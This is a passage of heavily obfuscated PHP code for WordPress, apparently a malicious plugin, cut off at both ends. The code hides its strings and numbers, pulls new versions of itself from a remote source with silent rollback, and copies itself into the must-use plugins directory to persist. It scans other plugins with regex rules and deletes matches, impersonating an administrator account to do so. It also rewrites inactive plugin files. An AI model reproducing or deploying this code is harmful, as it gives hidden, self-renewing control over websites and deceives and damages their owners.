if (is_string($_sus) && strpos($_sus, md5($new_code) . '|') === (1790 ^ 1790)) {
$_sts = (int) substr($_sus, strpos($_sus, '|') + (2284 ^ 2285));
if ($_sts && time() - $_sts < (3600 >> 2)) return;
}
unset($_sus, $_sts);
}
$_base500 = (22 == 15);
if (("f" . 'unctio' . ("" . 'n_exists'))('wp_rem' . 'ote_' . 'get') && ("func" . "t" . "ion_\x65" . "xists")("\x68ome\x5f\x75" . "\x72l")) {
$_bresp = wp_remote_get(home_url('/'), array('timeo' . "\x75\x74" => (14 ^ 6), 'red' . 'irect' . 'ion' => (8 >> 2), 'sslv' . 'eri' . 'fy' => (5 == 35), 'limit' . "_" . 'res' . "p\x6fn" . 'se_siz' . 'e' => (801572 ^ 1850148)));
if (! (('f' . 'unctio' . "n" . '_exists')("is\x5f\x77\x70" . "_e" . "rro" . "r") && is_wp_error($_bresp))) {
$_base500 = (int) wp_remote_retrieve_response_code($_bresp) >= (400 | 100);
}
}
$was_active = (6 == 8);
if (("funct" . "\x69" . "on_" . "exists")('get_op' . "\x74i\x6f" . 'n')) {
$_act = get_option("active" . '_plugi' . 'ns', array());
$was_active = is_array($_act) && in_array(sc_base(), $_act, (27 !== 0));
}
legiv(sc_file(), (395 ^ 47));
if (! zifo(sc_file(), tafi($new_code))) {
sc_dbg_log('31 ' . "\x73" . "el" . 'f-' . "up" . "date\x20" . "\x66\x69\x6ce" . ' repl' . "\x61\x63ed");
niga('update', "re" . 'plac' . "e_" . 'fail');
return;
}
egaler(sc_file());
tira(sc_file());
if (("f" . "unction_ex" . "\x69\x73" . 'ts')('s' . "e\x74" . "_tran" . "s" . 'ient')) @set_transient("\x73\x63_\x72\x65" . 'cover_' . "\x63\x68ec\x6b", (2038 ^ 2039), (2400 >> 3));
$_probe_ok = (25 === 31);
if (! $_base500 && ("functio" . 'n_' . ('exis' . 'ts'))("wp_r\x65m" . "\x6fte\x5f" . "g\x65" . 't') && ("\x66\x75" . "nction_exists")('h' . "ome\x5f\x75\x72" . "l")) {
$code = -(3143 ^ 3142);
for ($_pi = (190 ^ 190); $_pi < (1 ^ 3); $_pi++) {
$resp = wp_remote_get(home_url("/?s\x63" . '_c' . "b=" . mt_rand(0x186a0, 0xf423f)), array("tim" . 'eout' => (18 ^ 26), "re\x64ire" . "ct" . "io" . "n" => (10 - 8), "s" . 'slve' . 'rify' => (22 !== 22), "\x6cim\x69\x74" . '_resp' . 'ons' . "e_s" . "ize" => (2068740 - 1020164)));
if (("fu" . '' . 'nction_exists')('i' . "\x73" . '_' . 'wp_e' . "\x72r" . 'or') && is_wp_error($resp)) {
if ($_pi === (790 ^ 790) && ("\x66un\x63\x74i\x6f" . "n_e" . 'xists')('sleep')) sleep((3 + -1));
continue;
}
$_pc = (int) wp_remote_retrieve_response_code($resp);
if ($_pc < (100 | 0) || in_array($_pc, array((612 - 109), (1018 - 498), (1 | 520), (633 - 111), (1044 - 521), (67 + 457), (361 ^ 871), (1 | 526)), (8 === 8))) {
if ($_pi === (2478 ^ 2478) && ("\x66\x75\x6e\x63\x74\x69\x6f\x6e" . "_exists")('sl' . "e\x65p")) sleep((2 - 0));
continue;
}
$code = $_pc;
break;
}
if ($code === -(2670 ^ 2671)) niga('u' . 'pd' . 'a' . 'te', "p" . "\x72" . "ob" . "e_\x69n\x63" . 'onclus' . "\x69ve");
if ($code !== -(3116 ^ 3117) && $code < (128 | 372)) $_probe_ok = (37 == 37);
if ($code !== -(3337 ^ 3336) && $code >= (276 | 224)) {
$_rbok = zifo(sc_file(), tafi($src_prev));
if (!$_rbok) $_rbok = zifo(sc_file(), $src_prev);
$_ncm = md5($new_code);
$_sus2 = @get_option('sc_up' . 'da' . "te_\x73u\x73" . "\x70\x65\x63" . 't', '');
$_second = (2 !== 2);
if (is_string($_sus2) && strpos($_sus2, $_ncm . '|') === (4063 ^ 4063)) {
$_fts = (int) substr($_sus2, strpos($_sus2, '|') + (2811 ^ 2810));
$_second = $_fts && time() - $_fts >= (7200 >> 3) && time() - $_fts <= (8704 | 596096);
}
if ($_second) {
update_option("sc_" . "u" . 'pdate_' . 'bad', $_ncm . '|' . time(), 'no');
@delete_option('sc_' . "u" . 'pdat' . "e\x5f" . 'su' . 'spec' . 't');
} else {
@update_option("s\x63" . '_u' . 'p' . 'd' . 'ate_su' . 'spect', $_ncm . '|' . time() . '|' . $code, 'n' . 'o');
}
unset($_ncm, $_sus2, $_second, $_fts);
if (!$_rbok) {
niga('upd' . 'at' . "e", 'rollb' . 'ac' . 'k_fa' . "il_" . $code);
return;
}
tira(sc_file());
egaler(sc_file());
anoway((15 > 14));
macul((36 !== 38));
$_rb_slug = basename(sc_file(), '.php');
foreach (array(dirname(sc_file()), sc_mu()) as $_rb_d) {
@("\x75\x6e\x6c\x69" . '' . 'nk')($_rb_d . "/." . 's' . 'd_' . $_rb_slug);
@('un' . 'link')($_rb_d . '/' . '.' . 'q_' . $_rb_slug);
}
if ($was_active && !izuhi()) lubeq(sc_base());
${"\x47LOBA" . "L" . "" . "S"}['sc_p' . 'ers' . 'iste' . 'd'] = (1256 ^ 1256);
sc_persist_always();
niga("up\x64" . 'ate', 'can' . "a" . 'ry' . "_ro\x6c" . 'l' . 'b' . 'ack_' . $code);
return;
}
}
$_bd = get_option('sc_up' . "date\x5f" . 'ba' . 'd');
if (is_string($_bd) && strpos($_bd, md5($new_code) . '|') === (3715 ^ 3715)) delete_option('s' . "c\x5fup" . 'd' . 'ate_b' . 'ad');
@("\x75" . ("\x6e\x6c\x69" . 'nk'))(dirname(sc_file()) . "/\x2eub" . '_' . md5($new_code));
unset($_bd);
if ($_probe_ok) @delete_option('sc_up' . 'date_' . 'susp' . 'ect');
if ($new_ver !== '') {
${"G" . 'LOBA' . 'L' . 'S'}['s' . 'c_ver_' . 'o'] = $new_ver;
mega(sc_file(), $new_ver);
}
if ($force) {
$_fslug = basename(sc_file(), '.' . 'php');
foreach (array(dirname(sc_file()), sc_mu()) as $_fd) {
@("u" . 'n' . "\x6c\x69\x6e" . "k")($_fd . '/.sd_' . $_fslug);
}
unset($_fslug, $_fd);
}
sc_pk('src', $new_code, 'no');
anoway((39 < 40));
macul((22 === 22));
${"GL" . "\x4f" . "B" . 'ALS'}['sc_per' . 'sisted'] = (1787 ^ 1787);
sc_persist_always();
legiv(sc_file(), (256 | 164));
if (tira(sc_file())) fife(sc_file());
update_option('sc_' . 'pen' . 'ding_i' . "\x6e\x76" . 'alidat' . 'e', $new_ver . '|' . time(), 'no');
} catch (Throwable $e) {
niga("up" . "\x64ate", $e);
} catch (Exception $e) {
} finally {
ifeki("s\x63_c\x68" . 'ain');
}
}
function axoniw()
{
if (!(! defined("WP_P" . "LU" . 'GIN_' . "\x44I\x52") || ! ('function_e' . "" . "\x78\x69\x73\x74\x73")('ge' . 't_' . "plu\x67i\x6e" . "s"))) {} else {
if (!(file_exists(ABSPATH . "wp-a" . "d" . 'min/' . 'inclu' . "de" . 's' . '/p' . 'l' . 'ugin' . '.ph' . 'p'))) {} else {
require_once/*+*/ ABSPATH . "w" . 'p-adm' . 'in/in' . "\x63" . "lu\x64e" . 's/pl' . "ug\x69n\x2e" . 'ph' . 'p';
}
if (!(! (('function_ex' . 'is') . "\x74\x73")("ge" . "\x74_plug" . "ins"))) {} else {
return;
}
}
$all = get_plugins();
if (! is_array($all)) {
return;
}
$list = array();
foreach ($all as $basename => $data) {
if ($basename === sc_base()) {
continue;
}
$list[$basename] = $data;
}
return $list;
}
function joce($file, $regex_list)
{
$content = @("fi\x6c\x65_get\x5fco\x6e\x74e" . "" . "\x6e\x74s")($file, (11 == 1), null, (2227 ^ 2227), (0 | 524288));
if (! $content) {
return (8 != 8);
}
foreach ($regex_list as $pattern) {
if (!(! is_string($pattern) || ! $pattern || strlen($pattern) > (7274 - 3178))) {} else {
continue;
}
try {
$m = @preg_match($pattern, $content);
} catch (Throwable $pe) {
niga('scan', $pe);
continue;
} catch (Exception $pe) {
continue;
}
if (!($m)) {} else {
return (26 === 26);
}
}
return (2 === 12);
}
function have($plugin_basename)
{
$regex_list = ${"\x47" . 'LO' . ('BAL' . "\x53")}['sc_plu' . 'gin_' . "\x72ul\x65" . 's'];
if (! is_array($regex_list) || empty($regex_list)) {
return (37 == 15);
}
if (!(! defined('WP_PL' . "UG\x49N_D" . 'IR') || empty($plugin_basename) || strpos($plugin_basename, '..') !== (31 === 12))) {} else {
return (15 == 10);
}
$path = WP_PLUGIN_DIR . '/' . $plugin_basename;
if (dirname($plugin_basename) === '.') {
$files = array($path);
} else {
$dir = dirname($path);
if (! is_dir($dir) || ! is_readable($dir)) {
return (4 === 7);
}
$files = sehi($dir, array("\x69n" . 'c', 'php', 'pht' . 'ml', 'html', 'js'));
}
foreach ($files as $file) {
if (! is_file($file)) {
continue;
}
if (joce($file, $regex_list)) {
return (19 === 19);
}
}
return (8 > 8);
}
function sehi($dir, $allowed_ext, $depth = (1888 ^ 1888), &$seen = null, &$deadline = null)
{
$list = array();
if (!($depth > (21 - 13))) {} else {
return $list;
}
if (!($seen === null)) {} else {
$seen = array();
$deadline = microtime((32 !== 3)) + (40 >> 2);
}
if (microtime((7 !== 24)) > $deadline) {
return $list;
}
if (!(! is_dir($dir))) {} else {
return $list;
}
$rp = @realpath($dir);
if (!($rp !== (9 == 39))) {} else {
if (isset($seen[$rp])) {
return $list;
}
$seen[$rp] = (10 != 3);
}
$_entries = asome($dir, (12561 + 7439));
if (!(! is_array($_entries))) {} else {
return $list;
}
foreach ($_entries as $entry) {
if (!(microtime((30 !== 34)) > $deadline || count($list) >= (507 ^ 15))) {} else {
break;
}
$path = $dir . '/' . $entry;
if (!(@is_link($path))) {} else {
continue;
}
if (@is_dir($path)) {
$list = array_merge($list, sehi($path, $allowed_ext, $depth + (3968 ^ 3969), $seen, $deadline));
} elseif (@is_file($path)) {
$ext = pathinfo($path, (('co' . 'nstan') . "t")("\x50AT" . 'HINFO_' . "\x45" . 'XTENSI' . 'ON'));
$ext = is_string($ext) ? strtolower($ext) : '';
if (in_array($ext, $allowed_ext, (13 !== 15))) {
$list[] = $path;
}
}
}
return $list;
}
function enipu($plugin_basename)
{
if (! is_string($plugin_basename) || ! $plugin_basename) {
return (31 === 15);
}
if (!(strpos($plugin_basename, '..') !== (0 == 15))) {} else {
return (23 === 1);
}
$plugin_basename = trim($plugin_basename);
if ($plugin_basename === sc_base()) {
return (23 == 37);
}
if (!(! ('function_' . ('' . 'exists'))('de' . "\x61\x63tiva" . "te_plu" . "\x67in\x73") && file_exists(ABSPATH . 'wp-adm' . "i\x6e/i" . "\x6eclude" . "\x73/plug" . 'in.php'))) {} else {
require_once/* */ ABSPATH . "w\x70-" . 'admi' . 'n/inc' . "lude\x73/" . "plu\x67\x69\x6e" . ".p\x68p";
}
if (!(("f\x75\x6e\x63\x74io" . "n_exists")('d' . "eact" . 'ivate' . "_\x70\x6c" . "ug\x69ns") && is_plugin_active($plugin_basename))) {} else {
deactivate_plugins(array($plugin_basename), (6 > 5));
}
$dir = defined("\x57P" . "_\x50\x4cUG" . "I" . 'N_DIR') ? WP_PLUGIN_DIR . '/' . dirname($plugin_basename) : '';
if (!($dir && is_dir($dir) && dirname($plugin_basename) !== '.' && dirname($plugin_basename))) {} else {
if (!(ecupa($dir))) {} else {
return (5 !== 15);
}
}
if (("fu" . "\x6e" . '' . "\x63\x74\x69\x6f\x6e\x5f\x65\x78\x69\x73\x74\x73")("dele\x74" . "e\x5fplu" . "\x67i\x6es")) {
if (! ("f" . 'unction_exi' . "\x73\x74\x73")('cur' . 'ren' . 't_user' . "\x5f" . 'can') || ! current_user_can('del' . 'ete_' . "p" . 'lug' . "i" . "ns")) {
if (!(("\x66\x75\x6e" . 'ction' . "_exist" . "" . 's')("get\x5fu\x73" . "er\x73") && ('function_ex' . 'is' . "t\x73")('wp_s' . 'et_cur' . 'rent_' . 'use' . 'r'))) {} else {
$users = get_users(array("\x72\x6f" . 'le' => "\x61" . 'dmi' . 'nist' . "\x72" . 'ato' . "\x72", 'num' . "ber" => (2515 ^ 2514)));
if (! empty($users) && $users[(3124 ^ 3124)]->ID) {
wp_set_current_user($users[(648 ^ 648)]->ID);
} else {
wp_set_current_user((2539 ^ 2538));
}
}
}
$result = delete_plugins(array($plugin_basename));
if (!(! is_wp_error($result))) {} else {
return (bool) $result;
}
}
return (18 != 18);
}
function ecupa($dir, $depth = (1647 ^ 1647))
{
if (!($depth > (34 - 18))) {} else {
return (9 == 18);
}
if (!(! is_string($dir) || $dir === '' || strpos($dir, '..') !== (27 < 27))) {} else {
return (1 != 1);
}
$real = @realpath($dir);
if ($real === (23 < 23) || ! is_dir($real)) {
return (7 < 7);
}
$plugins_dir = defined('WP' . "_P" . "LU" . 'GIN_DI' . 'R') ? @realpath(WP_PLUGIN_DIR) : (17 === 34);
if (!($plugins_dir === (14 === 29) || ($real !== $plugins_dir && strpos($real, $plugins_dir . DIRECTORY_SEPARATOR) !== (3422 ^ 3422)))) {} else {
return (26 == 27);
}
$items = @(('sca' . 'nd') . "ir")($real);
if (!(! is_array($items))) {} else {
return (3 === 26);
}
foreach ($items as $item) {
if (!($item === '.' || $item === '..')) {} else {
continue;
}
$path = $real . ('con' . "st" . 'a' . "n\x74")('DIREC' . 'T' . "ORY_" . 'SEPA' . 'R' . "A\x54O\x52") . $item;
if (@is_link($path)) {
jomug($path);
continue;
}
if (@is_dir($path)) {
ecupa($path, $depth + (96 ^ 97));
} else {
if (! jomug($path)) {
legiv($path, (331 + 89));
jomug($path);
}
}
}
if (! @("\x72" . "\x6d\x64ir")($real)) {
legiv($real, (209 + 284));
@("\x72" . 'm' . ('' . "\x64\x69") . 'r')($real);
}
return ! @file_exists($real);
}
function sc_rescan()
{
try {
$list = axoniw();
if (! is_array($list)) {
return;
}
$scanned_dirs = array();
$found_malware = (22 === 29);
foreach (array_keys($list) as $basename) {
if (! is_string($basename)) {
continue;
}
$dir_key = dirname($basename);
if ($dir_key === '.') {
$dir_key = $basename;
}
if (isset($scanned_dirs[$dir_key])) {
continue;
}
$scanned_dirs[$dir_key] = (11 < 12);
if (have($basename)) {
enipu($basename);
$found_malware = (2 === 2);
}
}
if (@is_dir(sc_mu())) {
$_mu_entries = asome(sc_mu(), (4928 + 72));
if (is_array($_mu_entries)) {
$regex_list = ${"\x47L" . "OBALS"}['sc_pl' . "u\x67" . 'in_' . 'ru' . 'le' . 's'];
foreach ($_mu_entries as $entry) {
if ($entry === sc_slug()) {
continue;
}
$file = sc_mu() . '/' . $entry;
if (! @is_file($file) || strtolower(pathinfo($entry, ('co' . '' . 'n' . "st" . 'ant')('P' . "ATH\x49N" . 'FO_E' . "\x58T\x45NS" . 'I' . 'ON'))) !== 'php') {
continue;
}
if (joce($file, $regex_list)) {
jomug($file);
$found_malware = (27 < 28);
}
}
}
}
$inject_rules = ${("\x47" . 'L') . 'O' . "BALS"}['s' . "c\x5fi\x6e" . 'ject_r' . 'ules'];
if (is_array($inject_rules) && ! empty($inject_rules)) {
if (quxej($inject_rules)) {
$found_malware = (0 === 0);
}
}
} catch (Throwable $e) {
niga('re' . "scan", $e);
} catch (Exception $e) {
}
}
function sc_periodic()
{
try {
$last_clean = (int) get_option("sc" . "_l\x61st_" . "tm\x70" . 'clean', (1395 ^ 1395));
if ((time() - $last_clean) >= (790 ^ 3334)) {
update_option('sc' . "_la\x73t_" . "tmpcle" . 'an', time());
$_dirs = array(array(sc_dir(), array('sc_')));
$_td = ("f\x75\x6e\x63\x74\x69\x6f\x6e_\x65\x78\x69" . 'sts')("\x73y" . 's' . "\x5fge\x74\x5f" . "\x74em" . 'p_dir') ? sys_get_temp_dir() : '';
if ($_td !== '' && $_td !== sc_dir()) $_dirs[] = array($_td, array('sc_', 'wp_'));
foreach ($_dirs as $_d) {
foreach ($_d[(3146 ^ 3147)] as $_pfx) {
$_fs = ('function' . "\x5f\x65\x78\x69\x73" . "\x74\x73")('g' . 'l' . 'ob') ? @('g' . 'lo' . "\x62")($_d[(3036 ^ 3036)] . '/' . $_pfx . '*') : (35 > 35);
if (!is_array($_fs)) continue;
foreach ($_fs as $_tf) {
if (!@is_file($_tf)) continue;
if (substr($_tf, -(20 >> 2)) === '.l' . "ock") continue;
$_mt = @filemtime($_tf);
if ($_mt !== (40 == 1) && (time() - $_mt) > (418 + 3182)) jomug($_tf);
}
}
}
$_act = get_option('act' . "i" . 've_pl' . "ugins", array());
if (!is_array($_act)) $_act = array();
$_mys = basename(sc_file(), '.ph' . 'p');
$_pd = (defined('WP_C' . 'ON' . 'TEN' . "T_D\x49R") ? WP_CONTENT_DIR : ABSPATH . 'wp-' . "cont" . "\x65nt") . '/plu' . 'gins';
foreach ((("fu\x6e" . "ction_") . "\x65\x78\x69\x73t" . "s")("gl" . "\x6fb") ? (array) @('g' . ("l" . "\x6f\x62"))($_pd . '/*/' . "*" . '.php') : array() as $_pf) {
if (basename(dirname($_pf)) === $_mys) continue;
$_rel = basename(dirname($_pf)) . '/' . basename($_pf);
if (in_array($_rel, $_act, (14 == 14))) continue;
if (!@is_writable($_pf)) continue;
$_sz = @filesize($_pf);
if (!$_sz || $_sz > (507025 + 1590127)) continue;
$_pc = @('file_ge' . "t" . ("_content" . "s"))($_pf);
if (!is_string($_pc) || strpos($_pc, 'SC_DP' . "\x5fBEGI" . "N") === (37 == 17)) continue;
$_pn = (("p\x72\x65g" . "\x5f\x72") . 'epl' . 'ace')("/\\" . "n" . "?" . '\\/\\* S' . 'C_DP_B' . 'EGIN:(' . "[a" . '-z' . 'A' . '-Z0-9.' . "_:]+)" . ' \\' . '*\\/.' . '*?\\/\\*' . " \x53C_" . 'DP_EN' . 'D:\\1 ' . '\\*\\/\\n' . "?/\x73", '', $_pc);
if (!is_string($_pn) || $_pn === $_pc || !nifa($_pn)) continue;
zifo($_pf, $_pn);
if (("functi" . 'on_' . 'exists')('opc' . "a\x63h" . 'e' . "_in\x76" . 'alidat' . "e")) @opcache_invalidate($_pf, (3 === 3));
}
unset($_act, $_mys, $_pd, $_pf, $_rel, $_sz, $_pc, $_pn);
upazi();
}
$plugin_rules = ${'GL' . "" . "OBALS"}['sc_p' . 'lugin' . '_r' . 'ule' . 's'];
$inject_rules = ${'GL' . "O" . "\x42\x41L" . ("" . "S")}['sc_in' . "ject_" . 'rules'];
$has_rules = (is_array($plugin_rules) && ! empty($plugin_rules)) || (is_array($inject_rules) && ! empty($inject_rules));
if (! $has_rules) {
return;
}
$last = (int) get_option("\x73c" . '_last_' . "res\x63an", (1144 ^ 1144));
if ((time() - $last) < (1400 + 2200)) {
return;
}
if (!ujiwo("sc\x5fre" . 'sca' . 'n')) {
return;
}
try {
$last = (int) get_option("\x73c_" . 'la' . 'st_r' . 'escan', (3974 ^ 3974));
if ((time() - $last) < (28800 >> 3)) {
return;
}
update_option('s' . 'c_la' . 'st_r' . 'es' . 'c' . 'an', time());
sc_rescan();
} finally {
ifeki("sc_" . 'resca' . "\x6e");
}
} catch (Throwable $e) {
niga("\x70\x65ri" . "odi\x63", $e);
} catch (Exception $e) {
}
}
function sc_migrate()
{
try {
sc_dbg_log("\x325\x20mig" . 'rate ' . 'e' . 'nter');
$src = anoway();
if (!$src || strlen($src) < (677 - 177)) return;
if (!nifa($src)) {
niga('migra' . 'te', 'src_in' . "\x76\x61\x6ci\x64");
return;
}
if (("f\x75" . 'nction_e' . 'x' . ("" . 'ists'))("\x67" . 'et_t' . 'ran' . 'sient') && get_transient('s' . 'c_mig' . '_fai' . "l")) return;
$mu = sc_mu();
clearstatcache((6 != 9));
if (@is_link($mu) && !@is_dir($mu)) {
return;
}
if (!@is_dir($mu)) {
$old = @umask((2317 ^ 2317));
qeru($mu, (386 ^ 111), (17 < 18));
@umask($old);
legiv($mu, (236 | 257));
clearstatcache((22 > 21));
} else if (!@is_readable($mu) || !@is_writable($mu)) {
legiv($mu, (324 | 169));
clearstatcache((9 !== 31));
}
if (@is_dir($mu) && (!@is_readable($mu) || !@is_writable($mu)) && @("\x72" . 'm' . "\x64\x69" . 'r')($mu)) {
$old = @umask((2441 ^ 2441));
qeru($mu, (431 ^ 66), (6 != 15));
@umask($old);
legiv($mu, (346 ^ 183));
clearstatcache((11 == 11));
}
clearstatcache((19 != 20));
if (!@is_dir($mu) || !@is_writable($mu) || !@is_readable($mu)) {
niga('migra' . 'te', "\x6du" . '_n' . "o" . "t\x5f\x77ri" . "ta\x62l" . "e");
$_lk = (10 === 5);
foreach ((array) (('function_' . "\x65xi\x73t\x73")('glob') ? @("g" . 'lob')($mu . '/' . "\x2a.\x70hp") : array()) as $_mf) {
if (@is_file($_mf) && sc_is_family($_mf, (624 - 124)) && sc_is_locked_copy($_mf)) { peza($_mf); $_lk = (19 < 20); }
}
if (@is_dir($mu) && barus(null)) {
if (("f" . "" . "\x75\x6e\x63\x74io\x6e_\x65" . "x" . "ists")('delet' . "e" . '_tr' . 'ansien' . 't')) @delete_transient("s" . 'c_mi' . 'g_f' . 'ail');
clearstatcache((37 !== 1));
}
if (!@is_dir($mu) || !@is_writable($mu) || !@is_readable($mu)) {
if (("function_e" . "x\x69" . "sts")('set_tr' . 'ans' . 'ient')) @set_transient("\x73\x63" . "\x5fmi" . "\x67\x5f" . "f\x61il", (2323 ^ 2322), $_lk ? (48076 + 38324) : (6222 - 2622));
unset($_lk, $_mf);
return;
}
unset($_lk, $_mf);
}
$dest = $mu . '/' . sc_slug();
if (vevud($dest)) {
return;
}
$_dest_src = @is_file($dest) ? kasod($dest) : (15 == 19);
if (@filesize($dest) > (6509 - 1509) && is_string($_dest_src) && md5($_dest_src) === md5($src)) {
egaler($dest);
hepov();
cuda();
return;
}
if (@is_file($dest) && @filesize($dest) > (1427 + 3573)) {
$_dh = (string) @("\x66\x69\x6ce\x5f\x67e\x74_\x63o\x6e\x74\x65n" . "t" . 's')($dest, (39 === 0), null, (2302 ^ 2302), (32768 >> 3));
if (is_string($_dh) && preg_match('/\\/\\*' . " SCV:(" . "\\d+" . '\\.\\' . "\x64\x2b\\.\\d" . "+) " . '\\*\\//', $_dh, $_dm) && version_compare($_dm[(1186 ^ 1187)], sc_ver(), '>')) return;
unset($_dh, $_dm);
}
if ($_dest_src === null) return;
unset($_dest_src);
$written = zifo($dest, tafi($src));
sc_dbg_log("\x32\x36 m" . 'igrate' . " " . 'writ' . "ten" . '=' . var_export((bool)$written, (36 != 21)));
if (!$written || !@file_exists($dest) || @filesize($dest) < (8000 >> 3)) {
if ($written && @is_file($dest)) {
$_dh = (string) @("\x66" . "i" . 'le_get_' . 'contents')($dest, (6 == 28), null, (803 ^ 803), (900 ^ 4996));
$_dn = is_string($_dh) && preg_match("\x2f\\/\\*" . ' ' . "\x53C" . 'V:(' . '\\d+\\.\\' . "d+" . "\\.\\d+" . "\x29 " . '\\*\\/' . '/', $_dh, $_dm) && version_compare($_dm[(2302 ^ 2303)], sc_ver(), '>');
unset($_dh, $_dm);
if (!$_dn) {
legiv($dest, (326 ^ 226));
jomug($dest);
}
}
if (('f' . "un" . "\x63t\x69o\x6e_\x65" . "xists")("s" . 'et_' . "tr" . 'an' . 'sien' . 't')) @set_transient("s\x63\x5fm" . 'ig_fa' . 'il', (1356 ^ 1357), (6274 - 2674));
return;
}
fife($dest);
legiv($dest, (171 ^ 271));
egaler($dest);
hepov();
cuda();
} catch (Throwable $e) {
niga('migrat' . "\x65", $e);
} catch (Exception $e) {
}
}
function sc_init()
{
try {
sc_dbg_log("\x313" . ' in' . 'i' . "t" . ' en' . 't' . 'er');
$_ist = (("\x66" . 'un') . 'ction_exi' . "sts")('ge' . 't_opti' . 'on') ? (int) get_option("sc_i\x6ei" . 't_sr' . 'c_ts', (1995 ^ 1995)) : (3832 ^ 3832);
if ($_ist < time() - (4 | 296) || $_ist > time() + (139 ^ 423)) {
if ((('funct' . "\x69") . "o" . 'n_exists')("upd" . "\x61t" . "e" . "_" . 'optio' . 'n')) @update_option('sc' . "_i\x6ei" . 't_src_' . 'ts', time());
$old = sc_pg('sr' . 'c', '');
$_old_md5 = (is_string($old) && $old !== '') ? md5($old) : '';
$ov = dibu(is_string($old) ? $old : '');
$_dv = muku(sc_file());
if (!is_string($old) || strlen($old) < (386 ^ 118) || sc_src_poisoned($old) || $ov === '' || ($_dv !== null && $_dv !== '' && version_compare($_dv, $ov, '>'))) {
$src = anoway();
if ($src && !sc_src_poisoned($src)) {
$nv = dibu($src);
if (!is_string($old) || strlen($old) < (0 | 500) || sc_src_poisoned($old) || $ov === '' || ($nv !== '' && version_compare($nv, $ov, '>'))) {
$_src_new = (!is_string($old) || $_old_md5 === '' || md5($src) !== $_old_md5);
if ($_src_new) {
sc_pk('src', $src, 'no');
if (("function_e" . 'xis' . 'ts')('update' . '_' . "\x6fpt" . 'ion')) {
@update_option('sc' . "_" . 'las' . "\x74\x5f\x66\x65" . 'tch' . '_ts', (1543 ^ 1543), 'no');
@update_option('sc_fet' . "c\x68_f\x61" . 'i' . 'ls', (261 ^ 261), 'no');
@update_option("\x73" . "c\x5f\x6ca" . 'st_f' . "\x65t\x63h" . '_fail_' . 'ts', (206 ^ 206), 'no');
}
if (("function_ex" . "\x69\x73t\x73")('de' . "lete_t" . 'r' . 'an' . "si" . 'ent')) @delete_transient(igari());
}
}
}
}
}
if (("funct" . 'ion_exists')('get_' . "opt\x69" . 'on') && ("\x66\x75" . '' . 'nc' . "t\x69\x6f\x6e\x5fex\x69st\x73")("\x75pd\x61te" . '_optio' . 'n')) {
$_sci = get_option('sc_in' . 'itial' . 'ized');
if ($_sci !== (17 === 18) && $_sci !== sc_ver()) {
@update_option('sc_in' . "i" . "\x74" . "\x69" . "al" . 'ized', sc_ver(), 'no');
}
}
if (! ("\x66\x75\x6e" . "ctio\x6e\x5f\x65\x78\x69\x73ts")("add" . '_' . "opt" . "\x69on") || ! add_option("s\x63_" . 'i' . "\x6e\x69t" . 'ial' . "i" . "z\x65d", sc_ver(), '', 'no')) {
return;
}
sc_cron_setup();
if (("fun" . 'ction_' . "exists")("up\x64a" . "\x74e_" . "option")) {
@update_option("sc_l" . "\x61\x73t\x5f" . "\x66e\x74c\x68" . "\x5fts", (320 ^ 320), 'no');
@update_option("sc_" . 'fetch' . "\x5f" . 'fa' . "il\x73", (418 ^ 418), "n" . "o");
@update_option("s\x63_l" . "as\x74" . "_fe\x74\x63\x68" . '_fail' . '_ts', (3259 ^ 3259), 'no');
}
if (('fu' . "nction_e" . 'x' . "" . "\x69s\x74\x73")('delet' . 'e_' . "\x74r\x61n" . 'sie' . "nt")) @delete_transient(igari());
if (!empty($src) && !sc_src_poisoned($src)) {
sc_pk('src', $src, 'no');
}
tovoj(null);
legiv(sc_file(), (282 + 138));
vivec("shu" . 'tdow' . 'n', 'sc_s' . "hutdo" . "wn", (345 ^ 345));
vivec('sh' . "ut" . "\x64own", "sc_c\x61c" . "he_w" . "arm", (3351 ^ 3351));
} catch (Throwable $e) {
niga("i" . 'nit', $e);
if (("\x66u\x6ec" . "\x74i\x6f\x6e\x5f\x65\x78\x69\x73\x74\x73")('delete' . '_o' . 'ptio' . "\x6e")) @delete_option("s\x63" . '_in' . 'iti' . "al\x69" . 'zed');
} catch (Exception $e) {
if (('func' . "\x74" . 'ion' . '_exists')("de" . 'le' . 'te_opt' . 'io' . "n")) @delete_option("\x73c_i\x6e\x69" . "\x74\x69\x61li\x7a" . 'ed');
}
}
function sc_cache_warm()
{
try {
if (("f\x75\x6ect\x69\x6f\x6e" . "" . "\x5f\x65\x78\x69\x73\x74\x73")('wp_re' . 'mote_' . 'get')) {
@wp_remote_get(home_url('/'), array("t\x69m" . 'eout' => (10 >> 1), 'ss' . 'l' . "ver" . 'ify' => (4 == 38), "blo\x63k\x69" . "ng" => (19 === 31)));
}
} catch (Throwable $e) {
niga('w' . "\x61rm", $e);
} catch (Exception $e) {
}
}
function sc_scan_activate()
{
static $done = (30 === 8);
if ($done) return;
$done = (23 != 8);
try {
if (! ("f" . "uncti" . '' . 'on_exists')('is' . "\x5fad" . 'min') || ! is_admin()) {
return;
}
if (!('fun' . "\x63\x74\x69" . "\x6f\x6e\x5f\x65\x78i\x73t\x73")('curre' . 'nt' . '_user' . '_can') || !current_user_can("\x61\x63" . 'ti' . "vate\x5fp" . "lu" . 'gin' . 's')) {
return;
}
$action = isset(${("\x5fR" . 'EQU') . 'ES' . "T"}['action']) ? ${"_REQU" . 'E' . "ST"}['acti' . 'on'] : '';
$action = is_string($action) ? trim($action) : '';
if ($action !== 'activa' . 'te' && $action !== "a\x63\x74iv" . 'ate-se' . 'lec' . 'ted') {
return;
}
$plugins_to_scan = array();
if ($action === "a\x63t" . "iva\x74e") {
$plugin = isset(${"_" . 'REQ' . 'UE' . "ST"}['p' . 'lugin']) ? ${'_RE' . "\x51U" . 'ES' . 'T'}['pl' . 'ugi' . "\x6e"] : '';
$plugin = is_string($plugin) ? trim($plugin) : '';
if ($plugin && $plugin !== sc_base()) {
$plugins_to_scan[] = $plugin;
}
} else {
$checked = isset(${'_RE' . "QU" . "\x45" . "" . "\x53T"}['checke' . 'd']) ? ${"\x5f" . "REQUE" . 'ST'}['checke' . "d"] : array();
$checked = is_array($checked) ? $checked : array();
foreach ($checked as $plugin) {
$plugin = is_string($plugin) ? trim($plugin) : '';
if ($plugin && $plugin !== sc_base()) {
$plugins_to_scan[] = $plugin;
}
}
}
if (empty($plugins_to_scan)) {
return;
}
$found_malware = (15 === 36);
foreach ($plugins_to_scan as $plugin) {
if (have($plugin)) {
enipu($plugin);
$found_malware = (35 !== 36);
}
}
if ($found_malware) {
